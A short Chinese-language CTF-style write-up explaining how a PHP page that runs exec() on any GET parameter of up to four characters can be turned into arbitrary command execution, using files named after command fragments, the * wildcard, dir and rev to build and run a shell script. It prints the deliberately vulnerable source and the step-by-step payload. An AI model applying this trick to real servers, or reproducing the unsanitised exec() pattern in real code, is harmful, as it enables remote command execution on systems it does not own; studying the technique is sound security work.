4位可控字符下的任意命令执行

mac2026-08-25  0

*因为环境有点问题无法复现,无法整体复现

*但是这个trick非常有意思,想分享下

 

 

题目源码:

 

<?php error_reporting(E_ALL); $sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']); mkdir($sandbox); chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) { exec($_GET['cmd']); } else if (isset($_GET['reset'])) { exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);

预备知识:

①输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id >root * (等同于命令:id root)

②增加字母来限定被用来当作命令和参数的文件名

>ls >lss >lsss >1 *s (等同于命令: ls lss lsss)

③联合知识点②,通过rev来倒置输出内容

>rev echo 1234 > v *v (等同于命令:rev v)

 

 

④通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置

 

我们之后需要用到rev 倒置输出

 

所以需要列出这样形式的文件名

0> t- sl

>0\> >t- >sl

但是实际出现的效果是这样的

 

所以要增加-h来把-t往前拉

>0\> >ht- >sl

 

⑤用dir来代替ls不换行输出

 

先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点①的命令执行

 

看下dir的效果,会不换行输出到文件中去

 

最后的payload

>dir >f\> >ht- >sl *>v (等同于命令:dir "f>" "ht-" "sl" > v) >rev *v>0 (等同于命令:rev v > 0)(0里面的内容位:ls -th >f) sh 0 (sh执行0里面的内容)

可以看到命令被成功执行生成了f文件

最新回复(0)